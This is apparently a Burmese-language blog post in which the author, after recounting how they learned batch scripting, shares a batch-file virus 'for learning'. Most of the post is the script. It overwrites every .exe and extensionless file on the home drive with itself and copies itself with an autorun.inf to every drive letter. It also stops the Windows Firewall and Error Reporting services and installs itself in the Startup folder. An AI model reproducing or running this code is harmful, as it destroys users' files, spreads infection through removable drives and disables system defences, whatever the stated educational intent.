ကၽြန္ေတာ္ကြန္ပ်ဴတာကုိစသုံးခါစက သူမ်ားေတြ စခရင္အမည္းႀကီးမွာ စာေတြရုိက္လုိ႔ ဘာေတြေပၚလာမွန္းမသိျဖစ္ေနတာကုိ တအားသေဘာက်တာ၊ဘာေတြလုပ္ေနမွန္းတာကုိယ္က မသိတာ ေနာက္ေတာ့ အဲဒါ Bat Command ေတြ နဲ႔ကြန္ပ်ဳတာကုိ ခုိင္းေနမွန္း သိလာတာ၊ေနာက္ၿပီး ကုိမုိးထက္ျမင့္နည္းပညာ မွာ Bat file သင္ခန္းစာေတြေလ့လာရင္း Bat ကုိ ေတာ္ေတာ္ေလး သေဘာေပါက္လာတယ္၊ ေနာက္ထပ္ေလ့လာျဖစ္တာက ကေတာ့ ဆရာဦးေအာင္ျမင့္ေရးတဲ့ Using DOS စာအုပ္ကုိဖတ္ျဖစ္တယ္၊အခုလည္း ေလ့လာေနဆဲပါ အခု post ကေတာ့ Bat နဲ႔ေရးထားတဲ့ Command ေတြပါ၊Virus ေတြျဖစ္ပါတယ္၊သူမ်ားကုိဒုကၡေပးဖုိ႔မဟုတ္ေပမဲ့ အဲဒါေတြ တည္ေဆာက္ပုံေလ့လာရင္ Bat အေၾကာင္း ပုိမုိနားလည္ဖုိ႔ပါ ၊ ကဲစလုိက္ၾကရေအာင္.....ဒန္တန္႔တန္
@echo off
::----Infect All Exe Files---::
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul
Copy /y %0 %ExeInfect%
)
)
Del /f /s /q DirPath
::---------------------------::
::-----Infect All Drives-----::
for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >> %%E:\autorun.inf
echo action=Open folder to see files... >> %%E:\autorun.inf)
::---------------------------::
::-Disable Windows Firewall--::
net stop "MpsSvc"
taskkill /f /t /im "FirewallControlPanel.exe"
::---------------------------::
::-Disable Windows Error Reporting-::
net stop "WerSvc"
::---------------------------------::
::------Copy To Startup------::
copy "Virus Name [Write in a name first, and do not change it].bat" "%userprofile%\Start Menu\Programs\Startup\Virus Name [Write in a name first, and do not change it].bat"
::---------------------------::
::----Infect All Files---::
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.) Do ("
Set Infect=%%Z > Nul
Copy /y %0 %Infect%
)
)